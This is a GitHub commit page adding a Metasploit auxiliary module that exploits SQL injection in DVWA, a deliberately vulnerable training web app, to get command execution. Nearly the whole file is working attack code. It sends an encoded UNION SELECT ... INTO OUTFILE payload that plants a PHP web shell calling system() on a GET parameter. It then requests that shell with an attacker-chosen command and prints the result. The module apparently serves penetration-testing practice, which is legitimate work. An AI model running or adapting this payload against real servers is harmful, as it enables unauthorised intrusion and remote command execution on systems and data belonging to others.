Skip to content

Commit 61b6432

Browse files
committed
DVWA Modules Added
1 parent 6c2139f commit 61b6432

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
require 'rex/proto/http'
2+
require 'msf/core'
3+
class Metasploit3 < Msf::Auxiliary
4+
include Msf::Exploit::Remote::HttpClient
5+
include Msf::Auxiliary::Scanner
6+
def initialize
7+
super(
8+
'Name' => 'DVWA SQL Injection to Command Execution',
9+
'Description' => 'Exploits SQL Injection Bug to Upload Stager and Execute Arbitrary Commands on the Target',
10+
'Author' => 'Nipun_Jaswal',
11+
'License' => MSF_LICENSE)
12+
register_options(
13+
[
14+
OptString.new('DIRS', [ true, "Directory Structure", '/vulnerabilities/sqli/']),
15+
OptString.new('Command', [ true, "Command To Execute", 'ls'])
16+
], self.class)
17+
end
18+
def run_host(ip)
19+
begin
20+
sqli2 = "-112%27%20UNION%20SELECT%20%27%3C%3Fphp%20system%28%24_GET%5B%5C%27id%5C%27%5D%29%3B%20%3F%3E%27,NULL%20INTO%20OUTFILE%20%27/var/www/html/imgs/fuc.php%27--+&Submit=Submit"
21+
dir_path = datastore['DIRS']
22+
comm = datastore['Command']
23+
res = send_request_raw({
24+
'method' => 'GET',
25+
'uri' => "#{dir_path}index.php?id=#{sqli2}",
26+
'cookie' => "adminer_version=0; PHPSESSID=9gvpo3hf49kf5fud13e0g1i793; security=low"
27+
})
28+
res2 = send_request_raw({
29+
'method' => 'GET',
30+
'uri' => "/imgs/fuc.php?id=#{comm}",
31+
'cookie' => "adminer_version=0; PHPSESSID=9gvpo3hf49kf5fud13e0g1i793; security=low"
32+
})
33+
print_line res2.body
34+
end
35+
end
36+
37+
end
38+

0 commit comments

Comments
 (0)